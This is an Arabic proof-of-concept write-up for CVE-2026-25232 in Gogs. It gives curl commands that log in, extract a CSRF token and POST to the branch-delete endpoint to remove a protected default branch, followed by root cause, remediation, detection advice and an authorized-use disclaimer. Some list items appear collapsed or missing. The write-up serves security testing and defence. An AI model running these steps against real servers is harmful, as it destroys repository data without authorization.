
إثبات المفهوم لثغرة CVE-2026-25232 الأخيرة وهي ثغرة تصعيد صلاحيات موجودة في Gogs.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2026-25232 |
| المنتج | Gogs (خدمة Git بلغة Go) |
| الإصدارات المتأثرة | <= 0.13.4 |
| الإصدار المُصلَح | 0.14.1 |
| درجة CVSS | متوسطة |
| CWE | CWE-863: تفويض غير صحيح |
| المصادقة المطلوبة | نعم (صلاحيات كتابة على مستودع) |
| الأثر | تصعيد الامتيازات من الكتابة إلى عمليات بمستوى المدير |
CVE-2026-25232 هو ثغرة في التحكم بالوصول في واجهة الويب الخاصة بـ Gogs. تسمح لأي مساهم في المستودع يملك صلاحيات الكتابة بحذف الفروع المحمية — بما في ذلك الفرع الافتراضي — عن طريق إرسال طلب POST مباشر إلى نقطة النهاية DeleteBranchPost، متجاوزًا تمامًا آليات حماية الفروع.
السبب الجذري هو تباين في كيفية تطبيق طبقة Git Hook وواجهة الويب لحماية الفروع:
DeleteBranchPost لا تُطلق Git Hooks، لذلك لا يتم تنفيذ فحص الحماية أبدًايسمح هذا لمساهم بصلاحيات منخفضة بتنفيذ عمليات يجب أن تقتصر على مسؤولي المستودع فقط.
http://<TARGET>:3001attacker:Password123! (صلاحيات كتابة على المستودع)admin/important-repomain (الفرع الافتراضي)تأكد من أن الفرع محمي ولا يمكن حذفه بالوسائل العادية:
# محاولة حذف الفرع عبر API بالطريقة العادية - يجب أن تفشل
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
الاستجابة المتوقعة: 403 Forbidden أو خطأ حماية.
اجلب رمز CSRF من أي صفحة موثقة:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# استخراج رمز CSRF من صفحة مستودع
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
أرسل طلب POST مباشرًا إلى نقطة حذف الفرع، متجاوزًا فحص الحماية:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
يتم حذف الفرع المحمي على الرغم من أن المهاجم يملك صلاحيات كتابة فقط.
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
لن يظهر الفرع main بعد الآن في الاستجابة.
دالة DeleteBranchPost في معالج الويب الخاص بـ Gogs تتحقق من أن المستخدم موثق ولديه صلاحية كتابة على المستودع، لكنها لا تتحقق مما إذا كان الفرع المستهدف محميًا:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
التحقق: هل المستخدم موثق؟ ✓
التحقق: هل يملك المستخدم صلاحية كتابة؟ ✓
التحقق: هل الفرع محمي؟ ✗ (مفقود)
↓
تم حذف الفرع بنجاح
طبقة Git Hook التي تفرض حماية الفروع لا يتم تفعيلها إلا أثناء عمليات الدفع/الحذف عبر SSH أو بروتوكول Git عبر HTTP — وليس أثناء عمليات واجهة الويب. هذه الفجوة المعمارية تعني أن أي مساهم بصلاحية كتابة يمكنه تنفيذ هذه العملية.
يمكن لمساهم خبيث يملك صلاحيات كتابة أن:
في البيئات التي تغذي فيها مستودعات Gogs خطوط نشر آلية، قد يؤدي هذا إلى اختراق سلسلة التوريد.
قم بالترقية إلى Gogs v0.14.1 أو أحدث. الإصلاح يضيف فحوصات تفويض مناسبة في دالة DeleteBranchPost للتحقق من حالة حماية الفرع قبل السماح بالحذف، بغض النظر عن كيفية إرسال الطلب.
كتخفيف مؤقت:
/repos/{owner}/{repo}/branches/deleteابحث عن المؤشرات التالية للاستغلال:
/<owner>/<repo>/branches/delete في سجلات خادم الويبإثبات المفهوم هذا لأغراض تعليمية ولاختبارات الأمان المصرح بها فقط. لا تستخدمه ضد أنظمة لا تملك إذنًا صريحًا لاختبارها.